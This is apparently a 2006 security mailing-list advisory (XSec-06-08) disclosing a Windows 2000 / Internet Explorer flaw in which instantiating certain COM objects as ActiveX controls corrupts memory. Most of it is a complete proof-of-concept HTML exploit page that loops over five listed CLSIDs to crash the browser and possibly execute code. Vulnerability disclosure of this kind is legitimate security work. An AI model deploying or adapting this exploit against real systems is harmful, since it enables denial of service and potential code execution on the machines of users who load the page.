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[XSec-06-08]: Windows 2000 Multiple COM Object Instantiation Vulnerability

From: nop <nop () xsec org>
Date: Mon, 21 Aug 2006 22:59:56 +0800

Advisory ID:
XSec-06-08

Advisory Name:
Windows 2000 Multiple COM Object Instantiation Vulnerability

Release Date:
08/21/2006

Tested on:
Windows 2000/Internet Explorer 6.0 SP1

Affected version:
Windows 2000

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
Multiple vulnerability has been found in Windows 2000, \
When Internet Explorer tries to instantiate the ciodm.dll, \
MyInfo.dll,msdxm.ocx,Creator.dll(Media player 9) COM object \
as an ActiveX control, it may corrupt system memory in such \
a way that an attacker may DoS and possibly could execute \
arbitrary code.

Exploit:
=============== 2000obj.htm start ================

<!--

// Windows 2000 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000 SP4 CN

// http://www.xsec.org
// nop (nop#xsec.org)

--!>
<html>
<head>
<title>COM-tester</title>
</head>
</body>
<script>
var i =0;
var clsid = new Array(

// NO: 1
// CLSID: {3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}
// Info: Microsoft Index Server Catalog Administration Object
// ProgID: Microsoft.ISCatAdm.1
// InprocServer32: C:\WINNT\system32\ciodm.dll
"{3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}",

// NO: 2
// CLSID: {4682C82A-B2FF-11D0-95A8-00A0C92B77A9}
// Info: MyInfo ASP Component// ProgID: MSWC.MyInfo.1
// InprocServer32: C:\WINNT\system32\inetsrv\MyInfo.dll
"{4682C82A-B2FF-11D0-95A8-00A0C92B77A9}",


// NO: 3
// CLSID: {8E71888A-423F-11D2-876E-00A0C9082467}
// Info: RadioServer Class
// ProgID: Mmedia.RadioServer.1
// InprocServer32: C:\WINNT\system32\msdxm.ocx
"{8E71888A-423F-11D2-876E-00A0C9082467}",


// NO: 4 media player?
// CLSID: {606EF130-9852-11D3-97C6-0060084856D4}
// Info: CdCreator Class// ProgID: Creator.CdCreator.1
// InprocServer32: C:\Program Files\Common Files\Adaptec
Shared\CreatorAPI\creator.dll
"{606EF130-9852-11D3-97C6-0060084856D4}",

// NO: 5 media player?
// CLSID: {F849164D-9863-11D3-97C6-0060084856D4}
// Info: CdDevice Class// ProgID: Creator.CdDevice.1
// InprocServer32: C:\Program Files\Common Files\Adaptec
Shared\CreatorAPI\creator.dll
"{F849164D-9863-11D3-97C6-0060084856D4}",

// END
null
);

while(clsid[i])
{
var a = document.createElement("object");

window.status = "Testing Object " + clsid[i] + "...";

a.setAttribute("classid", "clsid:" + clsid[i]);

i++;
}

window.status = "failed!";

</script>
</body>
</html>

=============== 2000obj.htm end ==================

Link:
http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=16

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Current thread:

[XSec-06-08]: Windows 2000 Multiple COM Object Instantiation Vulnerability nop (Aug 21)